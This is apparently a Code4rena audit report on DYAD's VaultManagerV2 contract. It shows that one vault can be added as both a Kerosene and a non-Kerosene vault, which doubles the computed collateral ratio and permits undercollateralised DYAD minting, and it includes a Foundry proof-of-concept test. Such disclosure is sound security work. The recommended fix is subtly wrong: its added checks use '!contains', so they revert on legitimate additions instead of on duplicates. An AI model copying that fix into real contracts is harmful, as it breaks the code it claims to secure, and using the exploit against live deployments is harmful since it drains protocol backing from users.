DYAD - The-Seraphs's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L66-L91

Vulnerability details

Description

The collateral ratio is calculated using the following functions:

function collatRatio(
    uint id
  )
    public 
    view
    returns (uint) {
      uint _dyad = dyad.mintedDyad(address(this), id);
      if (_dyad == 0) return type(uint).max;
      return getTotalUsdValue(id).divWadDown(_dyad);
  }

  function getTotalUsdValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      return getNonKeroseneValue(id) + getKeroseneValue(id);
  }

  function getNonKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaults[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[id].at(i));
        uint usdValue;
        if (vaultLicenser.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

  function getKeroseneValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaultsKerosene[id].length(); 
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
        if (keroseneManager.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);        
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

The sum of the USD values of non-Kerosene vaults and Kerosene vaults associated to the DNFT (Notes) is used to calculate the collateral ratio.

A DNFT owner can add the vaults to their DNFT by using the methods add() and addKerosene(). However, there are no checks if the vault is actually a Kerosene vault or not, and there is no checks if a vault is being added as both Kerosene and non-Kerosene vaults. This allows a user to add a vault twice, as both non-Kerosene vault and Kerosene vault.

  /// @inheritdoc IVaultManager
  function add(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
    if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

Now, because the same vault was added twice, the getTotalUsdValue() function double counts the USD value of the same vault, leading to doubled total USD value across all vaults, and hence doubling the collateral ratio.

Impact

A user needs to maintain a collaterization ratio of atleast 150% to not get liquidated. By being able to add a vault twice to their DNFT, a user just needs to maintain a collaterization ratio of only 75%, as their USD value will be counted twice which will make their collateral ratio to be 150% effectively.

The documentation also mention that Each DYAD stablecoin is backed by at least $1.50 of exogenous collateral.. Now, because a user can bloat their collateral ratio to be double of the actual value, the DYAD stablecoin may no longer be backed by $1.50 of exogenous collateral, and it may leave the protocol insolvent.

Proof of concept

Create a new file at test/VaultManagerV2.t.sol with the following contents, and run the test using the command:

forge test --rpc-url <RPC_URL> --match-test test_poc_doubleCR

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployV2, Contracts} from "../script/deploy/Deploy.V2.s.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Vault} from "../src/core/Vault.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {Licenser} from "../src/core/Licenser.sol";

contract VaultManagerV2Test is Test, Parameters {
    function test_poc_doubleCR() public {
        DNft dNft = DNft(MAINNET_DNFT);
        Contracts memory contracts = new DeployV2().run();
        VaultManagerV2 vaultManager = contracts.vaultManager;
        Vault wethVault = contracts.ethVault;
        ERC20 weth = ERC20(MAINNET_WETH);
        Dyad dyad = Dyad(MAINNET_DYAD);

        address currentLicenserOwner = Licenser(dyad.licenser()).owner();

        vm.startPrank(currentLicenserOwner);
        Licenser(dyad.licenser()).add(address(vaultManager));
        vm.stopPrank();

        deal(address(weth), address(this), 100000 ether);

        uint256 id = dNft.mintNft{value: 1 ether}(address(this));

        vaultManager.add(id, address(wethVault));
        weth.approve(address(vaultManager), 1e22);
        vaultManager.deposit(id, address(wethVault), 1e22);

        vaultManager.mintDyad(id, 1e24, address(this));

        uint256 crWithVaultAddedAsOnlyNonKerosene = vaultManager.collatRatio(id);

        vaultManager.addKerosene(id, address(wethVault));

        uint256 crWithVaultAddedAsBothKeroseneAndNonKerosene = vaultManager.collatRatio(id);

        assertEq(crWithVaultAddedAsBothKeroseneAndNonKerosene, crWithVaultAddedAsOnlyNonKerosene * 2);
    }

    receive() external payable {}

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return 0x150b7a02;
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Update the code to check if a vault was already added as Kerosene vault or non-Kerosene vault:

  /// @inheritdoc IVaultManager
  function add(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
+   if (!vaultsKerosene[id].contains(vault))  revert VaultAlreadyAdded();
    if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+   if (!vaults[id].contains(vault))                        revert VaultAlreadyAdded();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

Additionally, add some checks to ensure that only Kerosene vaults can be added to vaultsKerosene, and non-kerosene vaults can be added to vaults

Assessed type

Invalid Validation